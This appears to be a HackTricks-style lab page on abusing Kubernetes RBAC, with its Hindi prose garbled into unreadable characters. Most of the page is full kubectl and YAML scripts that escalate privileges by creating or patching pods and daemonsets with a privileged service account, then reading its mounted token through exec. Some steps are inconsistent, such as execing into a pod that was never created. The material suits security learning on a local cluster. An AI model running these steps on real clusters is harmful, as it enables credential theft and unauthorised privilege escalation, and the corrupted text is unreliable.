Kubernetes Roles Abuse Lab

рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдЖрдк рдЗрди рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдУрдВ рдХреЛ minikube рдХреЗ рдЕрдВрджрд░ рд╣реА рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдкреЙрдб рдирд┐рд░реНрдорд╛рдг -> рдПрдирдПрд╕ рдПрд╕рдП рдХреЛ рдЙрдиреНрдирдд рдХрд░реЗрдВ

рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмрдирд╛рдПрдВрдЧреЗ:

  • рдПрдХ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ "test-sa" рдЬрд┐рд╕рдореЗрдВ рд░рд╣рд╕реНрдп рдкрдврд╝рдиреЗ рдХреА рдПрдХ рдХреНрд▓рд╕реНрдЯрд░ рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рд╣реЛрдЧреА

  • рдПрдХ ClusterRole "test-cr" рдФрд░ рдПрдХ ClusterRoleBinding "test-crb" рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛

  • рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреЙрдбреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ "Test" рджреА рдЬрд╛рдПрдЧреА

  • рдПрдХ Role "test-r" рдФрд░ RoleBinding "test-rb" рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛

  • рдлрд┐рд░ рд╣рдореЗрдВ рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреА рд╣реЛрдЧреА рдХрд┐ SA рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ Test рдкреЙрдбреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ

  • рдЕрдВрддрддрдГ рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ Test рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВрдЧреЗ рддрд╛рдХрд┐ рд╣рдо рдПрдХ рдкреЙрдб рдмрдирд╛ рд╕рдХреЗрдВ рдЬрд┐рд╕рдореЗрдВ SA test-sa рд╢рд╛рдорд┐рд▓ рд╣реИ рдФрд░ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ рдЯреЛрдХрди рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред

  • рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЙрдиреНрдирдд рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ

рд╕реНрдерд┐рддрд┐ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдПрд╕рдП рдЯреЛрдХрди рдХреЛ рдмрд╛рд╣рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдирд┐рд░реНрдорд┐рдд рдкреЙрдб рдХреЗ рдЕрдВрджрд░ exec рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЬреИрд╕рд╛ рдпрд╣рд╛рдБ рд╕реНрдкрд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкреЙрдб рдХреА рдШреЛрд╖рдгрд╛ рдЯреЛрдХрди рдХрд╛ рдмрд╛рд╣рд░реА рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП "exec" рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЯреЛрдХрди рдХреЛ рдмрд╛рд╣рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, "рдмрдирд╛рдиреЗ" рдЕрдиреБрдорддрд┐ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

рдбреЗрдордирд╕реЗрдЯ рдмрдирд╛рдПрдВ

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

рдкреИрдЪ рдбреЗрдореЛрдирд╕реЗрдЯ

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рдПрдХ рдбреЗрдореЛрдирд╕реЗрдЯ рдХреЛ рдкреИрдЪ рдХрд░реЗрдВрдЧреЗ рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рдкреЙрдб рд╣рдорд╛рд░реЗ рдЗрдЪреНрдЫрд┐рдд рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ рд▓реЛрдб рдХрд░реЗред

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреИрдЪ рдХреА рдмрдЬрд╛рдп рдЕрдкрдбреЗрдЯ рдзрд╛рд░рдг рдХрд╛ рд╡рд░реНрдм рд╣реИ, рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛

рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдмрдирд╛рдПрдВ/рдкреИрдЪ рдХрд░реЗрдВ

рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛:

  • рдХреЗрд╡рд▓ рдХреНрд░рд┐рдпрд╛ create рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ RoleBinding рдмрдирд╛рдПрдВ

  • рдХреЗрд╡рд▓ рдХреНрд░рд┐рдпрд╛ patch рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ RoleBinding рдмрдирд╛рдПрдВ (рдЖрдкрдХреЛ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП)

  • рдЖрдк рдЗрд╕реЗ рдЦреБрдж рдХреЛ рдпрд╛ рдПрдХ рд╡рд┐рднрд┐рдиреНрди SA рдХреЛ рднреВрдорд┐рдХрд╛ рд╕реМрдВрдкрдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ

  • рдХреЗрд╡рд▓ рдХреНрд░рд┐рдпрд╛ patch рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ RoleBinding рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ (рдЖрдкрдХреЛ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП)

  • рдЖрдк рдЗрд╕реЗ рдЦреБрдж рдХреЛ рдпрд╛ рдПрдХ рд╡рд┐рднрд┐рдиреНрди SA рдХреЛ рднреВрдорд┐рдХрд╛ рд╕реМрдВрдкрдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

рд╕реАрдзреЗ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ

"рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЙрдиреНрдирдпрди рдирд┐рд╡рд╛рд░рдг рдФрд░ рдмреВрдЯрд╕реНрдЯреНрд░реИрдкрд┐рдВрдЧ" рдЕрдиреБрднрд╛рдЧ рдореЗрдВ https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдПрдХ SA рдПрдХ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд░реЛрд▓/рдХреНрд▓рд╕реНрдЯрд░ рд░реЛрд▓ рдкрд░ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдмрд╛рдЗрдВрдб рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рд╡рд╣ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд░реЛрд▓/рдХреНрд▓рд╕реНрдЯрд░ рд░реЛрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдирд╣реАрдВ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдореЗрд░реЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

рдордирдорд╛рдиреЗ рднреВрдорд┐рдХрд╛рдПрдБ рдмрдирд╛рдирд╛

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣рдо рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рд╣рдо рдПрдХ рднреВрдорд┐рдХрд╛ рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрдирд╛рдиреЗ рдФрд░ рдкрде рдХреЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рд╣реЛред рд╣рд╛рд▓рд╛рдВрдХрд┐, K8s рд╣рдореЗрдВ рдПрдХ рднреВрдорд┐рдХрд╛ рдмрдирд╛рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдзрд┐рдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛрдВ рдЬреЛ рдореБрдЦреНрдп рдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдкрд╛рд╕ рд╣реИрдВ:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated